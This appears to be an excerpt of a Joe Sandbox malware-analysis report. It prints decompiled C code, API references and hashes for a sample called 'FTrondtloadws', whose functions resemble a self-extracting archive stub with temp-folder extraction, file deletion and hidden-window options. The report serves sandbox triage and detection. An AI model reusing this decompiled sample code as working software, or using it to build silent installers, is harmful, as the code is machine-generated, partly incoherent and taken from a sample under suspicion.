								if(_t11 != 0) {
									E00CEA1D0(_t27, _t32, 0xd242bc);
									E00CEA4BA(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E00CEA4BA();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E00CEBE6B(0, _t25, _t31, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E00CEBE6B(__ebx, _t23, _t30, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x00cea365
0x00cea365
0x00cea365
0x00cea368
0x00cea36f
0x00cea371
0x00cea376
0x00cea379
0x00cea387
0x00cea38e
0x00cea393
0x00cea396
0x00cea399
0x00cea3ab
0x00cea3b0
0x00cea3b2
0x00cea3bd
0x00cea3c4
0x00cea3c9
0x00cea3cc
0x00cea3ce
0x00000000
0x00000000
0x00000000
0x00000000
0x00cea3b4
0x00cea3b4
0x00000000
0x00cea3b4
0x00cea39b
0x00cea39b
0x00cea39c
0x00cea39c
0x00cea3a1
0x00cea3dc
0x00cea3dd
0x00cea3e3
0x00cea3e8
0x00cea3eb
0x00cea3ec
0x00cea3ed
0x00cea3f4
0x00cea3f6
0x00cea3f8
0x00cea3fd
0x00cea400
0x00cea40e
0x00cea415
0x00cea41a
0x00cea41d
0x00cea420
0x00cea432
0x00cea437
0x00cea439
0x00cea444
0x00cea44a
0x00cea452
0x00cea454
0x00000000
0x00000000
0x00000000
0x00000000
0x00cea43b
0x00cea43b
0x00000000
0x00cea43b
0x00cea422
0x00cea422
0x00cea423
0x00cea423
0x00cea456
0x00cea457
0x00cea457
0x00cea402
0x00cea408
0x00cea40c
0x00cea45f
0x00cea460
0x00cea466
0x00000000
0x00000000
0x00000000
0x00cea40c
0x00cea46d
0x00cea46d
0x00cea37b
0x00cea381
0x00cea385
0x00cea3d0
0x00cea3d1
0x00cea3db
0x00000000
0x00000000
0x00000000
0x00cea385

APIs

GetLastError.KERNEL32(?,00D030C4,00CE57D2,00D030C4,?,?,00CE524D,?,?,00D030C4), ref: 00CEA369
_free.LIBCMT ref: 00CEA39C
_free.LIBCMT ref: 00CEA3C4
SetLastError.KERNEL32(00000000,?,00D030C4), ref: 00CEA3D1
SetLastError.KERNEL32(00000000,?,00D030C4), ref: 00CEA3DD
_abort.LIBCMT ref: 00CEA3E3

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b12a4a8fb4a14e9d5369254201361cd5e8cef70c310e0dba018b1108570aadaa
Instruction ID: 598b05054266bc1d449311db300a00a260781aca5965ebce72b26c8f8d0f250d
Opcode Fuzzy Hash: b12a4a8fb4a14e9d5369254201361cd5e8cef70c310e0dba018b1108570aadaa
Instruction Fuzzy Hash: 42F068351406C1AFC616333B7C4AB7F2966DFC1761F250124F929D22A2EF64ED027567

Uniqueness

Uniqueness Score: -1.00%

Function 00CDEC0B Relevance: 9.0, APIs: 6, Instructions: 42
windowsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDEC0B(void* _a4) {
				struct tagMSG _v32;
				long _t7;
				long _t10;

				_t7 = WaitForSingleObject(_a4, 0xa);
				if(_t7 == 0x102) {
					do {
						if(PeekMessageW( &_v32, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v32, 0, 0, 0);
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
						}
						_t10 = WaitForSingleObject(_a4, 0xa);
					} while (_t10 == 0x102);
					return _t10;
				}
				return _t7;
			}

0x00cdec17
0x00cdec24
0x00cdec29
0x00cdec39
0x00cdec42
0x00cdec4c
0x00cdec56
0x00cdec56
0x00cdec61
0x00cdec67
0x00000000
0x00cdec6b
0x00cdec6e

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00CDEC17
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDEC31
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDEC42
TranslateMessage.USER32(?), ref: 00CDEC4C
DispatchMessageW.USER32(?), ref: 00CDEC56
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00CDEC61

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 3869b230255879ebe2baf68aa37fbd0cf7ae7410c7bda86b7b8d40316f11da88
Instruction ID: 402c028ef0c88c2832a49b3ea70a2ff87fce7e0402de9596c2b648efa2c14099
Opcode Fuzzy Hash: 3869b230255879ebe2baf68aa37fbd0cf7ae7410c7bda86b7b8d40316f11da88
Instruction Fuzzy Hash: B4F04972A01219BBCB306BA1ED4CEDF7F6DEF927A1B004022F60AD6164D6348546CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCD4B2 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCD4B2(short* _a4, char _a12) {
				signed short* _v4;
				void* __ebp;
				intOrPtr* _t20;
				signed short* _t24;
				char _t27;
				char _t30;
				signed short* _t31;
				short _t32;
				signed int _t33;
				short _t34;
				signed short* _t37;
				char _t39;
				char _t40;
				char _t41;
				intOrPtr _t44;
				void* _t47;
				void* _t48;
				short* _t54;
				intOrPtr* _t56;
				signed short _t57;
				short* _t58;
				intOrPtr* _t59;
				signed int _t62;
				signed short* _t63;
				short _t66;
				signed short _t67;

				_t58 = _a4;
				_t20 = E00CCCD3C(_t58);
				_t44 = _a4;
				_t59 = _t20;
				_t68 = _t59;
				if(_t59 != 0) {
					__eflags =  *((intOrPtr*)(_t59 + 2));
					if( *((intOrPtr*)(_t59 + 2)) == 0) {
						L7:
						__eflags = _t44 - (_t59 - _t58 >> 1);
						E00CD1908(_t59, L".rar", _t44 - (_t59 - _t58 >> 1));
					} else {
						_t40 = E00CD32E6(_t59, L".exe");
						__eflags = _t40;
						if(_t40 == 0) {
							goto L7;
						} else {
							_t41 = E00CD32E6(_t59, L".sfx");
							__eflags = _t41;
							if(_t41 == 0) {
								goto L7;
							}
						}
					}
				} else {
					E00CD18E0(_t68, _t58, L".rar", _t44);
					_t59 = E00CCCD3C(_t58);
					if(_t59 == 0) {
						L2:
						 *_t58 = 0;
						return 0;
					}
				}
				_t24 = 0x2e;
				_v4 = _t24;
				__eflags =  *_t59 - _t24;
				if( *_t59 != _t24) {
					goto L2;
				}
				__eflags =  *((intOrPtr*)(_t59 + 2));
				if( *((intOrPtr*)(_t59 + 2)) == 0) {
					goto L2;
				}
				__eflags = _a12;
				if(__eflags != 0) {
					_t12 = _t59 + 4; // 0x4
					_t65 = _t12;
					_t27 = E00CD1780( *_t12 & 0x0000ffff);
					__eflags = _t27;
					if(_t27 == 0) {
						L30:
						return E00CD1908(_t65, L"00", _t44 - (_t59 - _t58 >> 1) - 2);
					}
					_t30 = E00CD1780( *(_t59 + 6) & 0x0000ffff);
					__eflags = _t30;
					if(_t30 == 0) {
						goto L30;
					}
					_t31 = E00CE4DF3(_t59);
					_t47 = 0x3a;
					_t14 = _t31 - 1; // -1
					_t54 = _t59 + _t14 * 2;
					 *_t54 =  *_t54 + 1;
					__eflags =  *_t54 - _t47;
					if( *_t54 == _t47) {
						_t66 = 0x30;
						while(1) {
							__eflags = _t54 - _t58;
							if(_t54 <= _t58) {
								break;
							}
							_t33 =  *(_t54 - 2) & 0x0000ffff;
							_t62 = _t33;
							__eflags = _t33 - _v4;
							if(_t33 == _v4) {
								break;
							}
							 *_t54 = _t66;
							_t34 = _t62 + 1;
							_t54 = _t54 + 0xfffffffe;
							 *_t54 = _t34;
							__eflags = _t34 - _t47;
							if(_t34 == _t47) {
								continue;
							}
							return _t34;
						}
						_t32 = 0x61;
						 *_t54 = _t32;
						return _t32;
					}
				} else {
					_t31 = E00CCCE2D(0, __eflags, _t58);
					_t63 = _t31;
					_t48 = 0x3a;
					 *_t63 =  *_t63 + 1;
					__eflags =  *_t63 - _t48;
					if( *_t63 == _t48) {
						_t67 = 0x30;
						while(1) {
							_v4 = _t63;
							 *_t63 = _t67;
							_t63 = _t63 - 2;
							__eflags = _t63 - _t58;
							if(_t63 < _t58) {
								break;
							}
							_t39 = E00CD1780( *_t63 & 0x0000ffff);
							__eflags = _t39;
							if(_t39 == 0) {
								break;
							}
							 *_t63 =  *_t63 + 1;
							__eflags =  *_t63 - _t48;
							if( *_t63 == _t48) {
								continue;
							}
							return _t39;
						}
						_t56 = _t58 + E00CE4DF3(_t58) * 2;
						while(1) {
							__eflags = _t56 - _t63;
							if(_t56 == _t63) {
								break;
							}
							 *((short*)(_t56 + 2)) =  *_t56;
							_t56 = _t56 - 2;
							__eflags = _t56;
						}
						_t37 = _v4;
						_t57 = 0x31;
						 *_t37 = _t57;
						return _t37;
					}
				}
				return _t31;
			}

0x00ccd4b7
0x00ccd4bc
0x00ccd4c1
0x00ccd4c5
0x00ccd4c9
0x00ccd4cb
0x00ccd4f2
0x00ccd4f6
0x00ccd516
0x00ccd51e
0x00ccd527
0x00ccd4f8
0x00ccd4fe
0x00ccd503
0x00ccd505
0x00000000
0x00ccd507
0x00ccd50d
0x00ccd512
0x00ccd514
0x00000000
0x00000000
0x00ccd514
0x00ccd505
0x00ccd4cd
0x00ccd4d4
0x00ccd4df
0x00ccd4e3
0x00ccd4e5
0x00ccd4e7
0x00000000
0x00ccd4e7
0x00ccd4e3
0x00ccd52e
0x00ccd52f
0x00ccd533
0x00ccd536
0x00000000
0x00000000
0x00ccd538
0x00ccd53c
0x00000000
0x00000000
0x00ccd53e
0x00ccd543
0x00ccd5ac
0x00ccd5ac
0x00ccd5b4
0x00ccd5b9
0x00ccd5bb
0x00ccd61c
0x00000000
0x00ccd62c
0x00ccd5c2
0x00ccd5c7
0x00ccd5c9
0x00000000
0x00000000
0x00ccd5cc
0x00ccd5d4
0x00ccd5d5
0x00ccd5d8
0x00ccd5db
0x00ccd5de
0x00ccd5e1
0x00ccd5e9
0x00ccd5ea
0x00ccd5ea
0x00ccd5ec
0x00000000
0x00000000
0x00ccd5ee
0x00ccd5f2
0x00ccd5f4
0x00ccd5f9
0x00000000
0x00000000
0x00ccd5fb
0x00ccd5fe
0x00ccd601
0x00ccd604
0x00ccd607
0x00ccd60a
0x00000000
0x00000000
0x00000000
0x00ccd60a
0x00ccd613
0x00ccd614
0x00000000
0x00ccd614
0x00ccd545
0x00ccd546
0x00ccd54b
0x00ccd54f
0x00ccd550
0x00ccd553
0x00ccd556
0x00ccd55a
0x00ccd55b
0x00ccd55b
0x00ccd55f
0x00ccd562
0x00ccd565
0x00ccd567
0x00000000
0x00000000
0x00ccd56d
0x00ccd572
0x00ccd574
0x00000000
0x00000000
0x00ccd576
0x00ccd579
0x00ccd57c
0x00000000
0x00000000
0x00000000
0x00ccd57c
0x00ccd58a
0x00ccd599
0x00ccd599
0x00ccd59b
0x00000000
0x00000000
0x00ccd592
0x00ccd596
0x00ccd596
0x00ccd596
0x00ccd59d
0x00ccd5a3
0x00ccd5a4
0x00000000
0x00ccd5a4
0x00ccd556
0x00ccd4ef

APIs

Part of subcall function 00CD18E0: _wcslen.LIBCMT ref: 00CD18E6

Part of subcall function 00CCCD3C: _wcsrchr.LIBVCRUNTIME ref: 00CCCD53

_wcslen.LIBCMT ref: 00CCD584
_wcslen.LIBCMT ref: 00CCD5CC

Strings

.exe, xrefs: 00CCD4F8
.sfx, xrefs: 00CCD507
.rar, xrefs: 00CCD4CE, 00CCD521

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 1dbd7a93ceca4d06721c1533745547120e2f16f4c25d1253c830a791ca867e98
Instruction ID: 5dff741e5125e5a4f8c76ed442880f78e4517915571be26a839a14c02a367bf5
Opcode Fuzzy Hash: 1dbd7a93ceca4d06721c1533745547120e2f16f4c25d1253c830a791ca867e98
Instruction Fuzzy Hash: 2F417C21500351A6C735BF34C852F3BB3A8EF01748B14892FFAA39B181E7609F81D351

Uniqueness

Uniqueness Score: -1.00%

Function 00CDDE49 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00CDDE49(intOrPtr __ebx, void* __edx) {
				intOrPtr _t225;
				void* _t226;
				signed int _t291;
				void* _t293;
				signed int _t294;
				void* _t298;

				L0:
				while(1) {
					L0:
					if(__ebx != 1) {
						goto L123;
					}
					L107:
					__eax = __ebp - 0x788c;
					__edi = 0x800;
					GetTempPathW(0x800, __ebp - 0x788c) = __ebp - 0x788c;
					__eax = E00CCCA80(__eflags, __ebp - 0x788c, 0x800);
					__ebx = 0;
					__esi = 0;
					_push(0);
					while(1) {
						L109:
						_push( *0xd00724);
						__ebp - 0x788c = E00CC4A00(0xd12892, __edi, L"%s%s%u", __ebp - 0x788c);
						__eax = E00CCB4A1(0xd12892);
						__eflags = __al;
						if(__al == 0) {
							break;
						}
						L108:
						__esi =  &(__esi->i);
						__eflags = __esi;
						_push(__esi);
					}
					L110:
					__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0xd12892);
					__eflags =  *(__ebp - 0x588c) - __bx;
					if( *(__ebp - 0x588c) == __bx) {
						while(1) {
							L175:
							_push(0x1000);
							_t213 = _t298 - 0x15; // 0xffffa75f
							_t214 = _t298 - 0xd; // 0xffffa767
							_t215 = _t298 - 0x588c; // 0xffff4ee8
							_t216 = _t298 - 0xf894; // 0xfffeaee0
							_push( *((intOrPtr*)(_t298 + 0xc)));
							_t225 = E00CDC3A4(0x800, _t298);
							_t277 =  *((intOrPtr*)(_t298 + 0x10));
							 *((intOrPtr*)(_t298 + 0xc)) = _t225;
							if(_t225 != 0) {
								_t226 = _t298 - 0x588c;
								_t293 = _t298 - 0x1b894;
								_t291 = 6;
								goto L2;
							} else {
								break;
							}
							L4:
							while(E00CD32E6(_t298 - 0xf894,  *((intOrPtr*)(0xd00744 + _t294 * 4))) != 0) {
								_t294 = _t294 + 1;
								if(_t294 < 0xe) {
									continue;
								} else {
									goto L175;
								}
							}
							__eflags = _t294 - 0xd;
							if(__eflags > 0) {
								continue;
							}
							L8:
							switch( *((intOrPtr*)(_t294 * 4 +  &M00CDE3DD))) {
								case 0:
									L9:
									__eflags = _t277 - 2;
									if(_t277 == 2) {
										E00CDB62D(_t298 - 0x788c, 0x800);
										E00CCB91D(E00CCD1E0(__eflags, _t298 - 0x788c, _t298 - 0x588c, _t298 - 0xd894, 0x800), _t277, _t298 - 0x8894, _t294);
										 *(_t298 - 4) = 0;
										E00CCBA57(_t298 - 0x8894, _t298 - 0xd894);
										E00CC79C5(_t298 - 0x388c);
										while(1) {
											L23:
											_push(0);
											_t240 = E00CCB9AA(_t298 - 0x8894, _t298 - 0x388c);
											__eflags = _t240;
											if(_t240 == 0) {
												break;
											}
											L11:
											SetFileAttributesW(_t298 - 0x388c, 0);
											__eflags =  *(_t298 - 0x2880);
											if(__eflags == 0) {
												L16:
												_t244 = GetFileAttributesW(_t298 - 0x388c);
												__eflags = _t244 - 0xffffffff;
												if(_t244 == 0xffffffff) {
													continue;
												}
												L17:
												_t246 = DeleteFileW(_t298 - 0x388c);
												__eflags = _t246;
												if(_t246 != 0) {
													continue;
												} else {
													_t296 = 0;
													_push(0);
													goto L20;
													L20:
													E00CC4A00(_t298 - 0x1044, 0x800, L"%s.%d.tmp", _t298 - 0x388c);
													_t300 = _t300 + 0x14;
													_t251 = GetFileAttributesW(_t298 - 0x1044);
													__eflags = _t251 - 0xffffffff;
													if(_t251 != 0xffffffff) {
														_t296 = _t296 + 1;
														__eflags = _t296;
														_push(_t296);
														goto L20;
													} else {
														_t254 = MoveFileW(_t298 - 0x388c, _t298 - 0x1044);
														__eflags = _t254;
														if(_t254 != 0) {
															MoveFileExW(_t298 - 0x1044, 0, 4);
														}
														continue;
													}
												}
											}
											L12:
											E00CCCDA0(__eflags, _t298 - 0x788c, _t298 - 0x1044, 0x800);
											E00CCCA80(__eflags, _t298 - 0x1044, 0x800);
											_t297 = E00CE4DF3(_t298 - 0x788c);
											__eflags = _t297 - 4;
											if(_t297 < 4) {
												L14:
												_t265 = E00CCD1A1(_t298 - 0x588c);
												__eflags = _t265;
												if(_t265 != 0) {
													break;
												}
												L15:
												_t268 = E00CE4DF3(_t298 - 0x388c);
												__eflags = 0;
												 *((short*)(_t298 + _t268 * 2 - 0x388a)) = 0;
												E00CE1000(0x800, _t298 - 0x44, 0, 0x1e);
												_t300 = _t300 + 0x10;
												 *((intOrPtr*)(_t298 - 0x40)) = 3;
												_push(0x14);
												_pop(_t271);
												 *((short*)(_t298 - 0x34)) = _t271;
												 *((intOrPtr*)(_t298 - 0x3c)) = _t298 - 0x388c;
												_push(_t298 - 0x44);
												 *0xd2507c();
												goto L16;
											}
											L13:
											_t276 = E00CE4DF3(_t298 - 0x1044);
											__eflags = _t297 - _t276;
											if(_t297 > _t276) {
												goto L15;
											}
											goto L14;
										}
										L24:
										 *(_t298 - 4) =  *(_t298 - 4) | 0xffffffff;
										E00CCB933(_t298 - 0x8894);
									}
									goto L175;
								case 1:
									L25:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L175;
									} else {
										__eax =  *0xd21cc8;
										__eflags = __eax;
										__ebx = __ebx & 0xffffff00 | __eax == 0x00000000;
										__eflags = __eax;
										if(__eax != 0) {
											__eax =  *0xd21cc8;
											_pop(__ecx);
											_pop(__ecx);
										}
										__bh =  *((intOrPtr*)(__ebp - 0xd));
										__eflags = __bh;
										if(__eflags == 0) {
											__eax = __ebp + 0xc;
											_push(__ebp + 0xc);
											__esi = E00CDC51E(__ecx, __edx, __eflags);
											__eax =  *0xd21cc8;
										} else {
											__esi = __ebp - 0x588c;
										}
										__eflags = __bl;
										if(__bl == 0) {
											__edi = __eax;
										}
										L33:
										__eax = E00CE4DF3(__esi);
										__eax = __eax + __edi;
										_push(__eax);
										_push( *0xd21cc8);
										__eax = E00CE506E(__ecx, __edx);
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax == 0) {
											L37:
											__eflags = __bh;
											if(__bh == 0) {
												__eax = L00CE5069(__esi);
											}
											goto L175;
										}
										L34:
										 *0xd21cc8 = __eax;
										__eflags = __bl;
										if(__bl != 0) {
											__ecx = 0;
											__eflags = 0;
											 *__eax = __cx;
										}
										L36:
										__eax = E00CE88C9(__eax, __esi);
										_pop(__ecx);
										_pop(__ecx);
										goto L37;
									}
								case 2:
									L39:
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebp - 0x588c = SetWindowTextW( *(__ebp + 8), __ebp - 0x588c);
									}
									goto L175;
								case 3:
									L41:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L175;
									}
									L42:
									__eflags =  *0xd1389a - __di;
									if( *0xd1389a != __di) {
										goto L175;
									}
									L43:
									__eax = 0;
									__edi = __ebp - 0x588c;
									_push(0x22);
									 *(__ebp - 0x1044) = __ax;
									_pop(__eax);
									__eflags =  *(__ebp - 0x588c) - __ax;
									if( *(__ebp - 0x588c) == __ax) {
										__edi = __ebp - 0x588a;
									}
									__eax = E00CE4DF3(__edi);
									__esi = 0x800;
									__eflags = __eax - 0x800;
									if(__eax >= 0x800) {
										goto L175;
									} else {
										L46:
										__eax =  *__edi & 0x0000ffff;
										_push(0x5c);
										_pop(__ecx);
										__eflags = ( *__edi & 0x0000ffff) - 0x2e;
										if(( *__edi & 0x0000ffff) != 0x2e) {
											L50:
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L62:
												__ebp - 0x1044 = E00CD1908(__ebp - 0x1044, __edi, __esi);
												__ebx = 0;
												__eflags = 0;
												L63:
												_push(0x22);
												_pop(__eax);
												__eax = __ebp - 0x1044;
												__eax = E00CE350E(__ebp - 0x1044, __ebp - 0x1044);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *(__eax + 2) - __bx;
													if( *(__eax + 2) == __bx) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
												}
												__eax = __ebp - 0x1044;
												__edi = 0xd1389a;
												E00CD1908(0xd1389a, __ebp - 0x1044, __esi) = __ebp - 0x1044;
												__eax = E00CDC240(__ebp - 0x1044, __esi);
												__esi = GetDlgItem( *(__ebp + 8), 0x66);
												__ebp - 0x1044 = SetWindowTextW(__esi, __ebp - 0x1044); // executed
												__eax = SendMessageW(__esi, 0x143, __ebx, 0xd1389a); // executed
												__eax = __ebp - 0x1044;
												__eax = E00CE7156(__ebp - 0x1044, 0xd1389a, __eax);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__ebp - 0x1044 = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x1044);
												}
												goto L175;
											}
											L51:
											__eflags = __ax;
											if(__ax == 0) {
												L53:
												__eax = __ebp - 0x1c;
												__ebx = 0;
												_push(__ebp - 0x1c);
												_push(1);
												_push(0);
												_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
												_push(0x80000002);
												__eax =  *0xd25028();
												__eflags = __eax;
												if(__eax == 0) {
													__eax = __ebp - 0x14;
													 *(__ebp - 0x14) = 0x1000;
													_push(__ebp - 0x14);
													__eax = __ebp - 0x1044;
													_push(__ebp - 0x1044);
													__eax = __ebp - 0x24;
													_push(__ebp - 0x24);
													_push(0);
													_push(L"ProgramFilesDir");
													_push( *(__ebp - 0x1c));
													__eax =  *0xd25024();
													_push( *(__ebp - 0x1c));
													 *0xd25008() =  *(__ebp - 0x14);
													__ecx = 0x7ff;
													__eax =  *(__ebp - 0x14) >> 1;
													__eflags = __eax - 0x7ff;
													if(__eax >= 0x7ff) {
														__eax = 0x7ff;
													}
													__ecx = 0;
													__eflags = 0;
													 *(__ebp + __eax * 2 - 0x1044) = __cx;
												}
												__eflags =  *(__ebp - 0x1044) - __bx;
												if( *(__ebp - 0x1044) != __bx) {
													__eax = __ebp - 0x1044;
													__eax = E00CE4DF3(__ebp - 0x1044);
													_push(0x5c);
													_pop(__ecx);
													__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x1046)) - __cx;
													if(__eflags != 0) {
														__ebp - 0x1044 = E00CD18E0(__eflags, __ebp - 0x1044, "\\", __esi);
													}
												}
												__esi = E00CE4DF3(__edi);
												__eax = __ebp - 0x1044;
												__eflags = __esi - 0x7ff;
												__esi = 0x800;
												if(__eflags < 0) {
													__ebp - 0x1044 = E00CD18E0(__eflags, __ebp - 0x1044, __edi, 0x800);
												}
												goto L63;
											}
											L52:
											__eflags =  *((short*)(__edi + 2)) - 0x3a;
											if( *((short*)(__edi + 2)) == 0x3a) {
												goto L62;
											}
											goto L53;
										}
										L47:
										__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
										if( *((intOrPtr*)(__edi + 2)) != __cx) {
											goto L51;
										}
										L48:
										__edi = __edi + 4;
										__ebx = 0;
										__eflags =  *__edi - __bx;
										if( *__edi == __bx) {
											goto L175;
										}
										L49:
										__ebp - 0x1044 = E00CD1908(__ebp - 0x1044, __edi, 0x800);
										goto L63;
									}
								case 4:
									L68:
									__eflags =  *0xd13894 - 1;
									__eflags = __eax - 0xd13894;
									 *__edi =  *__edi + __ecx;
									__eflags =  *(__edx + 7) & __al;
									 *__eax =  *__eax + __al;
									__eflags =  *__eax;
								case 5:
									L73:
									__eax =  *(__ebp - 0x588c) & 0x0000ffff;
									__ecx = 0;
									__eax =  *(__ebp - 0x588c) & 0x0000ffff;
									__eflags = __eax;
									if(__eax == 0) {
										L80:
										 *0xd0a46f = __cl;
										 *0xd0a478 = 1;
										goto L175;
									}
									L74:
									__eax = __eax - 0x30;
									__eflags = __eax;
									if(__eax == 0) {
										L78:
										 *0xd0a46f = __cl;
										L79:
										 *0xd0a478 = __cl;
										goto L175;
									}
									L75:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax == 0) {
										goto L80;
									}
									L76:
									__eax = __eax - 1;
									__eflags = __eax;
									if(__eax != 0) {
										goto L175;
									}
									L77:
									 *0xd0a46f = 1;
									goto L79;
								case 6:
									L86:
									__edi = 0;
									 *0xd20cbb = 1;
									__edi = 1;
									__eax = __ebp - 0x588c;
									__eflags =  *(__ebp - 0x588c) - 0x3c;
									__ebx = __esi;
									 *(__ebp - 0x14) = __eax;
									if( *(__ebp - 0x588c) != 0x3c) {
										L97:
										__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 5;
										if( *((intOrPtr*)(__ebp + 0x10)) != 5) {
											L100:
											__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 4;
											if( *((intOrPtr*)(__ebp + 0x10)) != 4) {
												goto L175;
											}
											L101:
											__eflags = __ebx - 6;
											if(__ebx != 6) {
												goto L175;
											}
											L102:
											__ecx = 0;
											__eflags = 0;
											_push(0);
											L103:
											_push(__edi);
											_push(__eax);
											_push( *(__ebp + 8));
											__eax = E00CDE75F(__ebp);
											goto L175;
										}
										L98:
										__eflags = __ebx - 9;
										if(__ebx != 9) {
											goto L175;
										}
										L99:
										_push(1);
										goto L103;
									}
									L87:
									__eax = __ebp - 0x588a;
									__eax = E00CE31FC(__ebp - 0x588a, 0x3e);
									_pop(__ecx);
									_pop(__ecx);
									__eflags = __eax;
									if(__eax == 0) {
										L96:
										__eax =  *(__ebp - 0x14);
										goto L97;
									}
									L88:
									_t103 = __eax + 2; // 0x2
									__ecx = _t103;
									 *(__ebp - 0x14) = _t103;
									__ecx = 0;
									 *__eax = __cx;
									__eax = __ebp - 0x10c;
									_push(0x64);
									_push(__ebp - 0x10c);
									__eax = __ebp - 0x588a;
									_push(__ebp - 0x588a);
									__eax = E00CDC038();
									 *(__ebp - 0x20) = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										goto L96;
									}
									L89:
									__esi = __eax;
									while(1) {
										L90:
										__eflags =  *(__ebp - 0x10c);
										if( *(__ebp - 0x10c) == 0) {
											goto L96;
										}
										L91:
										__eax = __ebp - 0x10c;
										__eax = E00CD32E6(__ebp - 0x10c, L"HIDE");
										__eax =  ~__eax;
										asm("sbb eax, eax");
										__edi = __edi & __eax;
										__eax = __ebp - 0x10c;
										__eax = E00CD32E6(__ebp - 0x10c, L"MAX");
										__eflags = __eax;
										if(__eax == 0) {
											_push(3);
											_pop(__edi);
										}
										__eax = __ebp - 0x10c;
										__eax = E00CD32E6(__ebp - 0x10c, L"MIN");
										__eflags = __eax;
										if(__eax == 0) {
											_push(6);
											_pop(__edi);
										}
										_push(0x64);
										__eax = __ebp - 0x10c;
										_push(__ebp - 0x10c);
										_push(__esi);
										__esi = E00CDC038();
										__eflags = __esi;
										if(__esi != 0) {
											continue;
										} else {
											goto L96;
										}
									}
									goto L96;
								case 7:
									goto L0;
								case 8:
									L127:
									__eflags = __ebx - 3;
									if(__ebx == 3) {
										__eflags =  *(__ebp - 0x588c) - __di;
										if(__eflags != 0) {
											__eax = __ebp - 0x588c;
											_push(__ebp - 0x588c);
											__eax = E00CE8868(__ebx, __edi);
											_pop(__ecx);
											 *0xd21cd0 = __eax;
										}
